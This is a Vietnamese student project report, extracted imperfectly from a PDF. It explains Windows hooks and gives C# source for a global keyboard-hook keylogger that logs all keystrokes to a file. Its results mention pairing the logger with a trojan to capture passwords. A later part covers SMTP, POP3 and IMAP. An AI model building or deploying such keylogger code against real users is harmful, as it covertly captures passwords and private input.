Mỗi sự kiện sẽ được nhanh chóng chuyển thành thông điệp, sau đó Windows sẽlần lượt lấy thông điệp từ hàng đợi hệ thống để xem xét và chuyển những thông điệp đóđến chương trình ứng dụng t
Trang 1ĐẠI HỌC ĐÀ NẴNG TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA CÔNG NGHỆ THÔNG TIN
Trang 2Để hoàn thành được đồ án lần này em xin gửi lời cảm ơn đến sự giúp đỡ của cácthầy cô trong khoa, đặc biệt là Thầy Nguyễn Tấn Khôi – người trực tiếp hướng dẫn emthực hiện, cảm ơn sự tận tình chỉ bảo và giải đáp thắc mắc của thầy
Xin chân thành cảm ơn !
Đà Nẵng, tháng 12 năm 2018
Sinh viên
Hồ Nguyễn Trúc Vy
Trang 3NHẬN XÉT CỦA GIẢNG VIÊN
Trang 4
Tìm hiểu kỹ thuật lập trình Hook Xây dựng ứng dụng bắt phím Keylogger.
GIỚI THIỆU TỔNG QUAN ĐỀ TÀI
Nội dung đề tài
Sử dụng kỹ thuật Hook để nhận bắt bàn phím khi người dùng thực hiện thao tác gõbàn phím Khi người dùng gõ vào một phím trên bàn phím, các phím sẽ được lưu lại vàomột file
Trang 5CHƯƠNG 1 CƠ SỞ LÝ THUYẾT
1.1 Lập trình Windows
1.1.1 Thông điệp và hàng đợi thông điệp
Windows có 2 loại hàng đợi thông điệp: Hàng đợi hệ thống (system queue) vàhàng đợi ứng dụng (application queue) Hàng đợi hệ thống là hàng đợi duy nhất và đượcdùng chung cho toàn hệ thống, mọi tiến trình đang chạy đều chia sẻ hàng đợi này Nhiệm
vụ của hàng đợi hệ thống là nó ghi lại những sự kiện phần cứng (chuột, bàn phím, ) khichúng ra
Mỗi sự kiện sẽ được nhanh chóng chuyển thành thông điệp, sau đó Windows sẽlần lượt lấy thông điệp từ hàng đợi hệ thống để xem xét và chuyển những thông điệp đóđến chương trình ứng dụng tương ứng Những thông điệp này khi được chuyển đến ứngdụng, chúng tạo thành hàng đợi ứng dụng
1.1.2 Lập trình sự kiện
Mỗi ứng dụng có một hàng đợi ứng dụng khác nhau Một ứng dụng nhận cácthông điệp từ hàng đợi ứng dụng bằng cách gọi hàm GetMessage, sau đó lại gọi tiếpTranslateMessage để dịch thông điệp, cuối cùng gọi hàm DispatchMessage để trả lạithông điệp cho Windows Việc lấy thông điệp này cứ lặp đi lặp lại, tạo thành vòng lặpthông điệp Vòng lặp này kết thúc khi hàm GetMessage trả về giá trị 0 nếu thông điệp cóđịnh danh là WM_QUIT (0x0012)
Thông thường, chúng ta chỉ chặn để xử lý các thông điệp có liên quan đến chứcnăng của ứng dụng, các thông điệp khác thì giao cho hàm xử lý mặc định làm việc (hàmDefWindowsProc)
Trang 61.2 Hook trong Windows
Hook là một cơ chế trong lập trình sự kiện, cho phép ứng dụng có thể cài đặt mộthàm giám sát vào quá trình lưu chuyển các thông điệp Hay nói cách khác hook là 1 cơchế cho phép chặn các sự kiện (chuột, bàn phím, thông điệp) trước khi chúng được gửitới hàng đợi của ứng dụng Các hàm này có thể thực hiện một số thao tác trên sự kiện,
và trong một vài trường hợp có thể định nghĩa lại hoặc hủy bỏ sự kiện mà nó chặn được.Một điểm quan trọng cần lưu ý là các hàm này được gọi bởi chính Windows chứ khôngphải bởi ứng dụng của chúng ta
Windows hỗ trợ nhiều loại hook khác nhau, mỗi loại nhắm đến việc chặn bắt mộtloại thông điệp cụ thể nào đó Ví dụ, một ứng dụng có thể sử dụng WH_KEYBOARD đểgiám sát sự di chuyển của thông điệp bàn phím trong hệ thống Một loại hook khác làWH_MOUSE cho phép theo dõi các thông điệp liên quan đến hoạt động của con chuột
1.3 Phân loại Hook
- Hook cục bộ (Thread hook hay Local hook): hàm giám sát được cài đặt vào sauhàng đợi thông điệp ứng dụng (Thread message Queue hay Application Queue), chỉ kiểmsoát các thông điệp trong một tiến trình hay một ứng dụng cụ thể nào đó được xác địnhlúc cài đặt thủ tục hook
- Hook toàn cục (Global hook): hàm giám sát được cài đặt vào sau hàng đợithông điệp hệ thống, kiểm soát toàn bộ các tiến trình trong hệ thống
1.4 Thủ tục Hook – Chuỗi Hook
1.4.1 Thủ tục Hook
Là một thủ tục được cài đặt để xử lý cho một loại hook nào đó Thủ tục này đượcgọi bởi hệ điều hành, nó là hàm CallBack
Dạng chung của hook Function :
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);
Trong đó :
Trang 7- nCode: tham số này thường được gọi là “hook code”, thủ tục Hook sử dụng giá
trị này để quyết định cách thức xử lý đối với sự kiện Việc xử lý với mỗi sự kiện như thếnào là hoàn toàn phụ thuộc vào người lập trình Giá trị của hook code tùy thuộc vào từngloại hook cụ thể, và mỗi loại hook sẽ có tập hợp những giá trị hook code đặc trưng củariêng mình Khi Windows truyền cho hàm giát rị hook code âm, thủ tục không được xử lý
sự kiện mà phải gọi hàm CallNextHookEx với chính những tham số mà HĐH truyền cho
nó Sau đó, nó phải trả về giá trị được trả về bởi hàm CallNextHookEx
- wParam, lParam: Đây là những thông tin cần thiết cho thủ tục hook trong quá
trình xử lý sự kiện Các giá trị này sẽ có ý nghĩa khác nhau tuỳ thuộc vào từng loạihook
Ví dụ : thủ tục gắn với hook WH_KEYBOARD sẽ nhận mã phím ảo (Virtual-KeyCode) từ wParam, đồng thời có được từ lParam thông tin mô tả trạng thái của bànphím khi sự kiện gõ phím xảy ra
- Mỗi loại hook cần có cách xử lý khác nhau khi xây dựng thủ tục hook
- Có thể cài đặt nhiều thủ tục hook bằng cách dùng hàm SetWindowsHook haySetWindowsHookEx
- Thủ tục hook cài sau sẽ luôn nằm ở vị trí đầu tiên trong chuỗi hook
1.4.2 Chuỗi Hook
- Là một dãy các thủ tục hook được liên kết theo thứ tự ưu tiên thực hiện giảm dần
- Hệ thống có khả năng hỗ trợ nhiều loại hook khác nhau, mỗi loại được quy địnhmột cách thức truy nhập khác nhau Hệ thống duy trì từng chuỗi hook riêng biệt chomỗi loại hook
- Khi có một message được sinh ra thuộc một loại hook nào đó, nó sẽ được hệthống đẩy vào hàm hook đầu tiên trong chuỗi, sau đó được chuyển lần lượt đến các thủtục hook kế tiếp nhờ xử lý trong thủ tục hook
Trang 8- Một chuỗi hook là một danh sách các con trỏ đặc biệt, nó được trỏ tới các hàmCallBack gọi là hook procedure (thủ tục hook) Như vậy khi một sự kiện xuất hiện, hệthống sẽ chuyển sự kiện đó tới các thủ tục hook được tham chiếu bới chuỗi hook theo thứ
tự lần lượt Vì thế phải thực hiện xong thủ tục này mới được gọi thủ tục kế tiếp
Hình 1: Sơ đồ hook chain
int hookMsg, HOOKPROC hookProc
HINSTANCE hIns, DWORD threadId);
Trong đó:
+ hookMsg: loại hook
Trang 9+ hookProc: con trỏ đến thủ tục hook Trường hợp Hook toàn cục, thủ tục hookphải lưu trong DLL; với Thread hook, thủ tục hook có thể chứa trong chính thread tươngứng.
+ hIns: handle của module chứa thủ tục hook
+ threadId: ID của thread Nếu là 0, Hook sẽ là Global.
Ví dụ 1: Cài đặt Keyboard hook toàn cục
SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);
Ví dụ 2: Cài đặt Keyboard hook cục bộ
NULL,GetCurrentThreadId());
1.5.2 Chuyển thông điệp đến thủ tục hook kế tiếp
- Sau khi thực hiện xong, thủ tục hook sẽ gọi hàm CallNextHookEx để chuyển
message đến thủ tục hook kế tiếp trong chuỗi hook
LRESULT CallNextHookEx(HHOOK hHook, int code,
WPARAM wParam, LPARAM lParam);
1.5.3 Chuyển thông điệp đến thủ tục hook kế tiếp
Sử dụng kỹ thuật hook sẽ làm giảm khả năng thực thi của hệ thống Do đó, khikhông sử dụng hook nữa nên hủy bỏ hook khỏi hệ thống
BOOL UnhookWindowsHooks(HHOOK hHook);
Trang 10CHƯƠNG 2 PHÂN TÍCH VÀ THIẾT KẾ
CHƯƠNG TRÌNH2.1 Khởi tạo
Chương trình được viết bằng ngôn ngữ C# hỗ trợ gọi đến các hàm API củawindows
Khi chương trình chạy, người dùng gõ bàn phím tại bất cứ cửa sổ nào thì phím gõvào sẽ được lưu trong file với đường dẫn: KeyLogger\bin\Debug\Log_*.txt
2.2 Mã nguồn chương trình
Khai báo các hàng số và biến
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static string logName = "Log_" ;
private static string logExtendtion = ".txt" ;
Import các DLL để lấy các hàm SetWindowsHookEx , UnhookWindowsHookEx ,
CallNextHookEx , GetModuleHandle
[DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
private static extern IntPtr SetWindowsHookEx( int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
[ return : MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport( "user32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport( "kernel32.dll" , CharSet = CharSet.Auto, SetLastError = true )]
private static extern IntPtr GetModuleHandle( string lpModuleName);
Trang 11private delegate IntPtr LowLevelKeyboardProc (
int nCode, IntPtr wParam, IntPtr lParam);
Thiết lập hàm xử lý khi chặn các sự kiện
private static IntPtr HookCallback( int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Keys vkcode = (Keys)vkCode;
WriteLog(vkcode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
Hàm xử lý các phím được Hook để ghi vào file Log_.txt
static void WriteLog(Keys vkCode)
Trang 12sw.Write( "[Insert]" ); break ; case Keys.Delete:
sw.Write( "[Delete]" ); break ; case Keys.Oemtilde:
Trang 13case Keys.LControlKey:
case Keys.RControlKey:
sw.Write( "[Ctrl]" ); break ; case Keys.LWin:
case Keys.RWin:
sw.Write( "[Windows]" ); break ; case Keys.Return:
sw.WriteLine( "" ); break ; case Keys.Alt:
sw.Write( "[ALT]" ); break ; case Keys.OemOpenBrackets:
Hàm main chạy chương trình
static void Main( string [] args)
{
HookKeyboard();
}
Trang 14CHƯƠNG 3 KẾT QUẢ ĐẠT ĐƯỢC VÀ HƯỚNG PHÁT TRIỂN3.1 Triển khai
- Ngôn ngữ C#
- Môi trường Windows
Hình 1: Kết quả sau khi chạy chương trình KeyLogger kết hợp trojan đọc password
được ghi ở file Log_.txt
Trang 153.2 Kết luận và hướng phát triển
3.2.1 Kết quả đạt được
- Tìm hiểu được cơ chế hoạt động của kỹ thuật Hook
- Xây dựng được chương trình KeyLogger bắt phím
3.2.2 Hạn chế
- Chương trình đơn giản chưa đầy đủ chức năng
- Code chưa tối ưu
3.2.3 Hướng phát triển
- Phát triển chương trình có thể chụp ảnh màn hình sau một thời gian nhất định
- Phân biệt được chữ thường và chữ hoa khi ghi vào file
Trang 16PHẦN II: LẬP TRÌNH MẠNG
Xây dựng ứng dụng quản lý thu chi.
GIỚI THIỆU TỔNG QUAN ĐỀ TÀI
1 Nội dung đề tài
Xây dựng ứng dụng trên máy điện thoại quản lý thu chi Chương trình cho phép ngườidùng nhập, quản lý thu chi theo ngày/tháng; gửi dữ liệu đến email để lưu giữ
2 Mục tiêu
Tìm hiểu được các hoạt động trong một ứng dụng di động, các giao thức email: SMTP,POP3, IMAP; áp dụng kỹ thuật này vào các trường hợp cần thiết khi xây dựng ứng dụng
3 Môi trường áp dụng
Chương trình mô phỏng sẽ được viết bằng ngôn ngữ Java
Trong đồ án môn học này, em sử dụng phần mềm Android Studio để phát triển ứng dụng
Trang 17CHƯƠNG 1 CƠ SỞ LÝ THUYẾT
Nhờ sự phát triển của công nghệ thông tin nói chúng và Internet nói riêng, nhiều côngviệc, tác vụ của con người đã có thể thực hiện một cách dễ dàng hơn Trong đó, vấn đề quản lícác thông tin cá nhân hàng ngày như lịch sinh hoạt, chi tiêu, sinh hoạt hàng ngày đang ngày càngđược quan tâm
Bên cạnh đó, việc sử dụng các ứng dụng sử dụng trên nền tảng điện thoại giúp tăng caotính ứng dụng, tiện lợi khi có thể cập nhật bất cứ lúc nào Một vấn đề được ra là làm thế nào nếucác thông tin dữ liệu trong di động xảy ra hỏng hóc, hay đơn giản là khi người sử dụng muốn tiếptục lưu lại những thông tin mình đã dùng trước đó khi lần nữa cài đặt lại phần mềm
Trong bài đồ án này sẽ tập trung tìm hiểu về một ứng dụng di động trong quản lí thu chi
cá nhân theo ngày, và được sao lưu, phục hồi dữ liệu thông qua Email Có các giao thức đangđược triển khai phổ biến hiện nay là SMTP, IMAP và POP3
1.1 SMTP:
1.1.1 Khái quát:
SMTP (tiếng Anh: Simple Mail Transfer Protocol - giao thức truyền tải thư tín đơn giản)
là một chuẩn truyền tải thư điện tử qua mạng Internet SMTP được định nghĩa trong bản RFC 821(STD 10) và được chỉnh lý bằng bản RFC 1123 (STD 3), chương 5 Giao thức hiện dùng được làESMTP (extended SMTP - SMTP mở rộng), được định nghĩa trong bản RFC 2821
Mặc dầu các Server và các phần mềm quản lí thư điện tử sử dụng SMTP để gửi và nhậnthư, nhưng ở cấp độ người dùng cá nhân, trong các phần mềm Client để nhận gửi thư thì STMPchỉ ứng dụng để gửi thư mà thôi, việc nhận thư thường dùng các giao thức khác là IMAP hayPOP3
SMTP sử dụng port 25 để giao tiếp giữa cái Mail Server với nhau Còn đối với các Clientthì thường truyền thư đến Server thông qua port 587 Cũng có ngoại lệ một số nhà cung cấp dịch
vụ dùng port 465 thay vì tuân theo tiêu chuẩn (port 587) cho mục đích kể trên
Kết nối SMTP được đảm bảo an toàn bằng SSL, thường được biết đến với tên là SMTPS.Mặc dầu những hệ thống Mail Server hay các Web Mail dùng các chuẩn riêng của họ đểcho phép các tài khoản truy cập vào hòm thư trong hệ thống của họ, tất cả đều sử dụng giao thứcSMTP để gửi hoặc nhận email từ phạm vi bên ngoài hệ thống
1.1.2 Quá trình email di chuyển trong MTS(Mail Taransfer System) bằng SMTP:
Trang 18Bản thân các ứng dụng gửi email đóng vai trò các MUA (Mail User Agent) Khi ngườithực hiện gửi, email sẽ được chuyển tới MSA (Mail Submit Agent) cũng chính là MTA (MailTransfer Agent) biên đầu, thường thì MSA và MTA biên đầu cùng chạy trên một máy Email sau
đó tiếp tục được chuyển tiếp (relay) thông qua các MTA trong một trường mạng cho tới khi chạmMTA biên cuối MTA này có nhiệm vụ thực hiện truy vấn DNS để tìm ra MX (Mail Exchanger)Server thích hợp dựa trên tên miền đằng sau dấu @ (vd: @gmail.com) và chuyển tiếp tới các MXrecord có trong kết quả tìm được Email cuối cùng sẽ được chuyển và lưu trữ tại MDA (MailDelivery Agent) theo định dạng mailbox Vậy, nhiệm vụ SMTP là thực hiện vận chuyển email từemail client (MUA) tới hộp thư của người nhận (MDA)
Quá trình chuyển email
Một khi đã chuyển thư đến Mail Server cục bộ, mail sẽ được người dùng đọc thông quagiao thức IMAP hoặc POP3
1.2 POP3:
POP3 (Post Office Protocol version 3, RFC 1939) là giao thức nhận email, cho phép
người dùng tải thư về máy, đọc và quản lý thư trên máy cục bộ Thư sau khi tải về sẽ có thể được xóa khỏi máy chủ hoặc lưu trữ dưới dạng bản sao do dung lượng lưu trữ trên máy chủ hạn chế POP3 sử dụng port mặc định là 110 để thực hiện thủ tục nhận mail Tuy nhiên, có thể sử dụng port 995 để mã hóa kết nối trên kênh truyền SSL Thủ tục nhận mail trên POP3 diễn ra như sau:
Người dùng thông qua Email Client gửi yêu cầu kết nối tới Email Server (MDA), quá trinh bắt tay 3 bước diễn ra để tạo kết nối TCP
Email Server yêu cầu xác thực người dùng trước khi truy cập hộp thư
Duyệt và tải email về máy
Trang 19 Người dùng thực hiện đọc, xóa hoặc lưu bản sao của email trên MDA (lưu ý, mọi thao tác bấy giờ chỉ là đánh dấu – mark)
Kết thúc phiên, toàn bộ yêu cầu chỉnh sửa thực sự được thực thi
Email Server chủ động ngắt kết nối, giải phóng tài nguyên
Một giao thức khác có chức năng thay thế là IMAP (Message Access Protocol)
1.3 IMAP:
IMAP (Internet Message Access Protocol, RFC 3501) cũng là giao thức nhận Email, ra
đời sau POP3, hỗ trợ thêm nhiều tính năng và khắc phục được một số nhược điểm, do đó phứctạp hơn POP3 Dung lượng lưu trữ không còn là vấn đề lớn nên IMAP cho phép thư được giữ tạiserver, có thể tải về trên nhiều máy và được đồng bộ hóa dữ liệu với nhau Điều này khiến việcthao tác chỉnh sửa biên tập trên ứng dụng Email được áp dụng đối với hòm thư ngay khi trựctuyến Hòm thư trên server được chia thành nhiều thư mục (hộp thư đến, thư đã gửi,…) và hỗ trợngười dùng tạo thư mục riêng Với mỗi Email, IMAP cho phép gắn cờ để theo dõi trạng thái củathư đó và tải vể một phần hoặc toàn bộ IMAP sử dụng port mặc định là 143, port cho kênhtruyền mã hóa SSL là 993 Một phiên làm việc với IMAP cũng tương tự POP3, khác nhau ở cácbước
Thực hiện duyệt email (theo cấu trúc thư mục và trạng thái), tải về đọc một phần hoặctoàn bộ email (bản sao)
Mọi chỉnh sửa biên tập (xóa, di chuyển, thay đổi cờ,…) đều được áp dụng ngay saukhi thực hiện lệnh, miễn còn trong chế độ trực tuyến
1.4 So sánh POP3 và IMAP:
Ưu điểm của POP
Là giao thức thời đầu, POP tuân theo một ý tưởng đơn giản là chỉ một máy khách yêu cầutruy cập mail trên server và việc lưu trữ mail cục bộ là tốt nhất Điều này dẫn tới những ưu điểmsau:
Mail được lưu cục bộ, tức luôn có thể truy cập ngay cả khi không có kết nối Internet
Kết nối Internet chỉ dùng để gửi và nhận mail
Tiết kiệm không gian lưu trữ trên server
Được lựa chọn để lại bản sao mail trên server
Hợp nhất nhiều tài khoản email và nhiều server vào một hộp thư đến